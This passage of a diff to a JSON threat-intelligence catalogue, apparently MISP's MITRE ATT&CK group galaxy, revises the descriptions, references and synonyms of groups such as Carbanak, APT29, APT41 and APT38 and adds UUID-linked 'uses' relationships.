+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
"value": "Patchwork - G0040"
},
{
- "description": "[Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)",
+ "description": "[Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. [Carbanak](https://attack.mitre.org/groups/G0008) may be linked to groups tracked separately as [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN7](https://attack.mitre.org/groups/G0046) that have also used [Carbanak](https://attack.mitre.org/software/S0030) malware.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile)",
"meta": {
"external_id": "G0008",
"refs": [
"https://attack.mitre.org/groups/G0008",
"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
- "https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/",
- "https://www.crowdstrike.com/blog/state-criminal-address/"
+ "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain",
+ "https://www.secureworks.com/research/threat-profiles/gold-niagara",
+ "https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain",
+ "https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/"
],
"synonyms": [
"Carbanak",
- "Anunak",
- "Carbon Spider"
+ "Anunak"
]
},
"related": [
@@ -11852,7 +12848,7 @@
"type": "uses"
},
{
- "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
@@ -11923,6 +12919,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "f8cb7b36-62ef-4488-8a6d-a7033e3271c1",
@@ -12122,13 +13125,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "6b1b551c-d770-4f95-8cfc-3cd253c4c04e",
"value": "Frankenstein - G0101"
},
{
- "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)",
+ "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014)",
"meta": {
"external_id": "G0011",
"refs": [
@@ -12189,6 +13199,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "fe98767f-9df8-42b9-83c9-004b1dec8647",
@@ -12483,7 +13500,7 @@
"value": "APT18 - G0026"
},
{
- "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)",
+ "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)",
"meta": {
"external_id": "G0016",
"refs": [
@@ -12500,13 +13517,19 @@
"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
+ "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf",
"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html",
"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf",
+ "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/",
+ "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/",
+ "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/",
+ "https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/",
"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"
],
"synonyms": [
"APT29",
+ "NobleBaron",
"Dark Halo",
"StellarParticle",
"NOBELIUM",
@@ -12826,13 +13849,6 @@
],
"type": "uses"
},
- {
- "dest-uuid": "95e2cbae-d82c-4f7b-b63c-16462015d35d",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "3a4197ae-ec63-4162-907b-9a073d1157e4",
"tags": [
@@ -13294,6 +14310,118 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "cff94884-3b1c-4987-a70b-6d5643c621c3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "54a01db0-9fab-4d5f-8209-53cef8425f4a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "11f8d7eb-1927-4806-9267-3a11d4d4d6be",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2f8229dc-da94-41c6-89ba-b5b6c32f6b7d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c26f1c05-b861-4970-94dc-2f7f921a3074",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "96eca9b9-b37f-42f1-96dc-a2c441403194",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "95e2cbae-d82c-4f7b-b63c-16462015d35d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "899ce53f-13a0-479b-a0e4-67d46e241542",
@@ -14127,6 +15255,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
@@ -14199,12 +15334,13 @@
"value": "Mofang - G0103"
},
{
- "description": "[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)",
+ "description": "[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\n",
"meta": {
"external_id": "G0096",
"refs": [
"https://attack.mitre.org/groups/G0096",
"https://content.fireeye.com/apt-41/rpt-apt41",
+ "https://blog.group-ib.com/colunmtk_apt41",
"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"
],
"synonyms": [
@@ -14765,6 +15901,34 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "294e2560-bd48-44b2-9da2-833b5588ad11",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "18854f55-ac7c-4634-bd9a-352dd07613b7",
@@ -14994,18 +16158,24 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "813636db-3939-4a45-bea9-6113e970c029",
"value": "DarkVishnya - G0105"
},
{
- "description": "[Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)",
+ "description": "[Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7.",
"meta": {
"external_id": "G0015",
"refs": [
- "https://attack.mitre.org/groups/G0015",
- "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"
+ "https://attack.mitre.org/groups/G0015"
],
"synonyms": [
"Taidoor"
@@ -15246,6 +16416,62 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "26c87906-d750-42c5-946c-d4162c73fc7b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7c0f17c9-1af6-4628-9cbd-9e45482dd605",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "981acc4c-2ede-4b56-be6e-fa1a75f37acf",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "fd19bd82-1b14-49a1-a176-6cdc46b8a826",
@@ -15721,19 +16947,26 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "b74f909f-8e52-4b69-b770-162bf59a1b4e",
"value": "Whitefly - G0107"
},
{
- "description": "[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea.(Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau(Military Unit Cover Designator 78020).(Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)",
+ "description": "[Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015) \n\nWhile [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)",
"meta": {
"external_id": "G0019",
"refs": [
"https://attack.mitre.org/groups/G0019",
- "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
"http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf",
+ "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf",
"https://securelist.com/the-naikon-apt/69953/"
],
"synonyms": [
@@ -15894,6 +17127,76 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "29231689-5837-4a7a-aafc-1b65b3f50cc7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "22b17791-45bf-45c0-9322-ff1a0af5cf2b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050",
@@ -16124,13 +17427,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "d13c8a7f-740b-4efa-a232-de7d6bb05321",
"value": "Silence - G0091"
},
{
- "description": "[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\nMITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)",
+ "description": "[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye)\n\nIn 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)",
"meta": {
"external_id": "G0022",
"refs": [
@@ -16495,23 +17805,52 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
"value": "APT3 - G0022"
},
{
- "description": "[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.",
+ "description": "[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (2018) and Banco de Chile (2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.",
"meta": {
"external_id": "G0082",
"refs": [
"https://attack.mitre.org/groups/G0082",
+ "https://us-cert.cisa.gov/ncas/alerts/aa20-239a",
"https://content.fireeye.com/apt/rpt-apt38",
- "https://www.us-cert.gov/ncas/alerts/TA17-164A",
- "https://securelist.com/lazarus-under-the-hood/77908/"
+ "https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and",
+ "https://securelist.com/lazarus-under-the-hood/77908/",
+ "https://www.secureworks.com/research/threat-profiles/nickel-gladstone",
+ "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/",
+ "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf"
],
"synonyms": [
- "APT38"
+ "APT38",
+ "NICKEL GLADSTONE",
+ "BeagleBoyz",
+ "Bluenoroff",
+ "Stardust Chollima"
]
},
"related": [
@@ -16668,6 +18007,188 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "454fe82d-6fd2-4ac6-91ab-28a33fe01369",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e928333f-f3df-4039-9b8b-556c2add0e42",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f504411-cb96-4dac-a537-8d2bb7679c59",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
+ "tags": [
